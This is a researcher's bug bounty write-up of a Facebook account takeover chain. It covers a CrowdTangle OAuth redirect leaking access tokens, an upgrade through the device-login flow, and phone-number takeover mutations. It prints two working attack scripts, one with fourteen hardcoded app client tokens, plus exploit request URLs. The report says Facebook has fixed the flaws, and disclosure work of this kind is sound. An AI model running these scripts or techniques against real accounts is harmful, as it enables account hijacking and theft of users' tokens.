Facebook account takeover due to unsafe redirects after the OAuth flow

Description

This bug could allow a malicious user to takeover the Facebook account after stealing a first-party access_token issued to apps.crowdtangle.com. The OAuth callback endpoint of apps.crowdtangle.com Facebook application would redirect the access_token to another endpoint in case the user is already logged-in. The other endpoint could be set by the attacker which means if we can find an open redirect in apps.crowdtangle.com, it could redirect the token in the fragment part of the URL to another website and use it to takeover the account. This attack won’t require user interaction.

Details

  • Stealing the Facebook limited access_token of a user
  1. If a not logged-in user visits any page in apps.crowdtangle.com that requires a logged-in user, a cookie would be set to the visited page ( cookie redirect_url=https%3A%2F%2Fapps.crowdtangle.com%2FENDPOINT) . Then a redirection will be made to https://apps.crowdtangle.com/auth?type=0 . After the user log-in, any request to https://apps.crowdtangle.com/facebook/auth endpoint would result to a 302 redirect to the URL inside the cookie redirect_url. Here the selected endpoint in the redirect_url cookie should be replaced with the open redirect endpoint.
  2. The Facebook application for apps.crowdtangle.com has the id 527443567316408, its correct callback endpoint is https://apps.crowdtangle.com/facebook/auth. To authenticate a user can visit https://apps.crowdtangle.com/auth/server endpoint, he/she would be redirected to https://apps.crowdtangle.com/facebook/auth , then redirected to https://www.facebook.com/v2.9/dialog/oauth?client_id=527443567316408&redirect_uri=https://apps.crowdtangle.com/facebook/auth&response_type=code&state=VALID_STATE . A valid callback would result in a POST message sent to apps.crowdtangle.com/users/login and the user would be logged-in.
    From now on, any request to apps.crowdtangle.com/facebook/auth would redirect to https://apps.crowdtangle.com/ENDPOINT.
  3. Since the callback endpoint would redirect to any url specified in step 1 by the attacker ( in our case https://apps.crowdtangle.com/ENDPOINT) , we would re-request https://www.facebook.com/v2.9/dialog/oauth?client_id=527443567316408&redirect_uri=https://apps.crowdtangle.com/facebook/auth&response_type=token , this time a token was requested and this would be returned in the fragment part of the url and not a code attached as a parameter (/facebook/auth#access_token=). Since now the user is logged-in after step 2, the endpoint /facebook/auth would redirect to /ENDPOINT, the browser would pass the hash part to the next url. The endpoint apps.crowdtangle.com/ENDPOINT would redirect to the attacker website with the URL fragment part containing the token.
  4. The apps.crowdtangle.com/ENDPOINT would be replaced in the attack with the open redirect endpoint. This would be apps.crowdtangle.com/CUSTOM_PAGE/e/x/x/HASH/ . CUSTOM_PAGE would be attacker or public board and we would manipulate the HASH part which is an encoded string that represent the next URL.

All previous steps would result to the ability to steal a Facebook user access_token generated under the Crowdtangle Facebook application permissions. Below is the attack script applying all previous steps in order and would lead to the access_token being received in the attacker website.

<html>
<body>
<script>
cli = function(){
opn = window.open("https://apps.crowdtangle.com/CUSTOM_PAGE/e/x/x/HASH/");
setTimeout(function(){

opn.location.href = "https://apps.crowdtangle.com/auth/server";
setTimeout(function(){opn.location.href = "https://www.facebook.com/v2.9/dialog/oauth?client_id=527443567316408&redirect_uri=https://apps.crowdtangle.com/facebook/auth&state=ANY_STATE&response_type=token";},3000);
},4000);
}
</script>
<button onclick='cli()'>Click</button>
</body>
</html>

The Facebook user access_token received is first-party ( generated by a Facebook owned application ) which could be used to access https://graph.facebook.com/graphql endpoint. However, access_tokens generated for this particular application ( Crowdtangle ) had some limitations while doing graphql queries/mutations. The access_token would not allow us to do mutations which would turn it useless if we want to takeover the account since we won’t be able to add a new phone number or email. Also queries were limited and i wasn’t able to collect serious information about the user.

  • Upgrading the access_token to another first-party application and then Account takeover

Facebook allows device logins. This is a feature for applications created in devices like TVs to enable to login to Facebook without email and password but instead a temporary code. The authentication mechanism would work as follow:
First the application requesting device login would request a temporary code from Facebook, this would return a code to be shown to the Facebook user and another code ( we’ll note it retrieve_code ) to get the access_token of the user in case he/she accepted to use the application. Then, it should display the code to the user who would need to enter it in www.facebook.com/device or inside his/her mobile device. After entering the code, the user would be promoted to accept or deny to use the application. If he/she accepted to use it, this would result to the application requesting another API endpoint with the retrieve_code and which would result to the user access_token being returned.

Since many Facebook applications also use this login method in devices like TVs and Watches, we can reverse engineer the applications, get their client_code they use to request the temporary code to be shown to the user. After being shown to the user, we can get the access_token which would be a first party access_token.

Now how this would be linked to the previous attack? Since the previous method would require an excessive user interaction ( entering the user code , accepting to use the application , CSRF protections … ) before we can get the user access_token , it’s normally categorized to be safe by Facebook and can’t be leveraged by attackers ( unless a CSRF bypass is found for example like my good friend JOSIP did before ).
What we can do here is to use the previous limited access_token gathered to make some Graphql Queries that would return us the CSRF token used in the Authentication flow. Since the CSRF token is not linked to the user browsing session, we can inject it in a malicious URL that would request Facebook OAuth endpoint and would lead directly to us getting a new access_token with much higher permissions.

From the previous attack , the victim would be redirected with an access_token to the attacker website. The attacker website would receive the access_token and do the following steps:

  1. Send a POST request to https://graph.facebook.com/v2.6/device/login with these parameters “scope=public_profile&access_token=437340816620806|04a36c2558cde98e185d7f4f701e4d94” ( Notice the access_token of the victim wasn’t used but here we’re creating a device code to authorize the application 437340816620806 which is a first party application that allows device logins).

    We’ll note the “user_code”, as USER_CODE and the “code” to retrieve the victim access_token later as “RETRIEVE_CODE
  2.  Request https://graph.facebook.com/graphql?access_token=VICTIM_CROWDTANGLE_TOKEN&variables={“userCode”:”USER_CODE“}&doc_id=2024649757631908&method=POST  (USER_CODE from previous step)
    VICTIM_CROWDTANGLE_TOKEN is the access_token stolen from Crowdtangle.

    This should authorize the USER_CODE and also return a CSRF “nonce” , we’ll note it USER_NONCE
  3. Redirect the user to https://m.facebook.com/dialog/oauth/?app_id=437340816620806&redirect_uri=https://m.facebook.com/device/logged_in/?user_code%3DUSER_CODE%26nonce%3DUSER_NONCE%26is_preset_code%3D0&ref=DeviceAuth&nonce=USER_NONCE&user_code=USER_CODE&auth_type=rerequest&scope=public_profile&qr=0&_rdr after replacing all occurrences of USER_CODE and USER_NONCE. Here we removed the force_confirmation parameter to avoid user interaction. ( To better understand where this came from, try to do step 1 and enter the user_code in m.facebook.com/device ).

    Since from previous steps, we already generated a valid CSRF token/nonce that matches with the supplied USER_CODE, this would work perfectly without user interaction.
  4. This should redirect to https://m.facebook.com/device/logged_in/ with an oauth code, a valid user nonce and valid user code. The authorization of the application should be successful.
  5. In the attacker side, he/she would make this request to retrieve the first party access_token which doesn’t have limitations:

https://graph.facebook.com/v2.6/device/login_status?access_token=437340816620806|04a36c2558cde98e185d7f4f701e4d94&code=RETRIEVE_CODE&method=post after replacing RETRIEVE_CODE. This should return a first party access_token authorized by 437340816620806 application . We’ll note it FIRST_PARTY.
The attacker would use this token to takeover the account by adding a phone number:

Adding:
https://graph.facebook.com/graphql?access_token=FIRST_PARTY&doc_id=10153582085883380&variables{“input”:{“client_mutation_id”:1,”actor_id”:”VICTIM_USER_ID”,”phone_number”:”ATTACKER_PHONE”}}&method=POST

Verification:
https://graph.facebook.com/graphql?access_token=FIRST_PARTY&doc_id=10153582085808380&variables{“input”:{“client_mutation_id”:1,”actor_id”:”VICTIM_USER_ID”,”confirmation_code”:”RECEIVED_CONFIRMATION_CODE”}}&method=POST

This second-stage script would try to get an access_token generated from one of the Facebook applications that uses Facebook device login. Many were tried below and not one since if the user didn’t use one application before , he/she would be asked to authenticate it first. We try all of them to increase the chance that one of them was previously authenticated and thus user interaction won’t be required:

<html>
 <body>
 <script>
 keys = ["1348564698517390|007c0a9101b9e1c8ffab727666805038",
 "972631359479220|4122f9182c57154d89cab3cbb62259db",
 "155327495133707|a151725bc9b8808a800f4c891505e558",
 "1331685116912965|e334a1eca4d4ea9ac0c0132a31730663",
 "867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01",
 "437340816620806|04a36c2558cde98e185d7f4f701e4d94",
 "661587963994814|ffe07cc864fd1dc8fe386229dcb7a05e",
 "1692575501067666|3168904bd42ebb12bf981327de99179f",
 "522404077880990|f4b8e52fea9ccae9793e11b66cca3ae0",
 "233936543368280|b5790a8768f5fd987220d34341a8f1d8",
 "1174099472704185|0722a7d5b5a4ac06b11450f7114eb2e9",
 "628551730674460|b9693d3e013cfb23ec2c772783d14ce8",
 "1664853620493280|786621f3867f7ab1bfc0ff9d616803fc",
 "521501484690599|3153679748f276e17ffe16c3f3a06b14"];
 token = "";
 if (window.location.hash) {
 crowd_token = window.location.hash.split("=")[1];
 start_attack(null, keys.shift());
 }
 async function second_stage(wind, user_code, retrieve, key){
     fetch("https://graph.facebook.com/graphql?access_token=" +crowd_token.toString() + '&variables={"userCode":"' + user_code + '"}&server_timestamps=true&doc_id=2024649757631908',{method:"POST", mode:"cors" ,credentials:"omit"}).then(response => response.json()).then(function(data){
         if(data.data.device_request.device_record.nonce){
         nonce = data.data.device_request.device_record.nonce;} else {nonce = "ignore"};
         app_id = key.split("|")[0];
         wind.location.href = https://m.facebook.com/dialog/oauth/?app_id=${app_id}&redirect_uri=https%3A%2F%2Fm.facebook.com%2Fdevice%2Flogged_in%2F%3Fuser_code%3D${user_code}%26nonce%3D${nonce}%26is_preset_code%3D0&ref=DeviceAuth&nonce=${nonce}&user_code=${user_code}&auth_type=rerequest&scope=public_profile&qr=0&_rdr;
 }); setTimeout(function(){     fetch("https://graph.facebook.com/v2.6/device/login_status?access_token=" + key + "&code=" + retrieve + "&locale=en_US&method=post",{method:"POST", mode:"cors" ,credentials:"omit"}).then(response => response.json()).then(function(data){if(data.access_token){alert(data.access_token);} else if(!keys.length == 0){start_attack(wind, keys.shift())} })  },7000)
 }
 function start_attack(wind, key){
     if (!wind){
     wind = window.open("about:blank");}
     fetch("https://graph.facebook.com/v2.6/device/login?access_token=" + key ,{method:"POST", mode:"cors" ,credentials:"omit"}).then(response => response.json()).then(function(data){
     USER_CODE = data.user_code;
     RETRIEVE_CODE = data.code;
     if ( USER_CODE && RETRIEVE_CODE){
         second_stage(wind, USER_CODE, RETRIEVE_CODE, key);} 
     else {
         start_attack(wind, keys.shift())
     }
     });
 }
 </script>
 </body>
 </html>

Here we’re just doing an alert of the new retrieved token but in a real life scenario we would save the token and then use it later to takeover the account like explained before.

Fix

Many fixes were done by the Facebook team:
– When the Crowdtangle user is logged-in and the redirect_url was previously set, it would try to remove the cookie and also if it wasn’t, visiting https://apps.crowdtangle.com/facebook/auth now would result to being redirected to the URL inside redirect_url cookie but after appending the character #. This would stop previous fragment to be passed to the next URL.
– The open redirect in https://apps.crowdtangle.com/CUSTOM_PAGE/e/x/x/HASH/ was fixed.
– The CrowdTangle access_token can’t be used now to access graph.facebook.com/graphql endpoint ( app secret proof is now required ) and which would stop an attacker from requesting a device login nonce and upgrade to another access token.

Timeline

Feb 12, 2021— Report Sent 
Feb 23, 2021—  Acknowledged by Facebook
Feb 25, 2021— Fixed by Facebook
Mar 9, 2021 — $1.2K bounty awarded by Facebook. Apparently the Facebook team missed the possibility to takeover the Facebook account from the access_token stolen from Crowdtangle and though this only affected Crowdtangle users. I argued about the bounty amount.
Mar 12, 2021 – More details were sent explaining further approaches that could be used by the attacker to upgrade the access_token and takeover the account.
Mar 15, 2021—  Acknowledged by Facebook
Apr 3, 2021— Fixed by Facebook
Apr 30, 2021 — $28.8K (including bonus) bounty awarded by Facebook.

PS: One weird thing you can notice here is the time from the Fixed state to Resolved and payment. It took Facebook 27 days to pay me the reward after the fix which become usual in the past year. Many complains were sent by me and other researchers who suffers from the same problem but nothing changed. Hope they can fix this soon and we can get the same rate for first response and time to bounty as the previous years.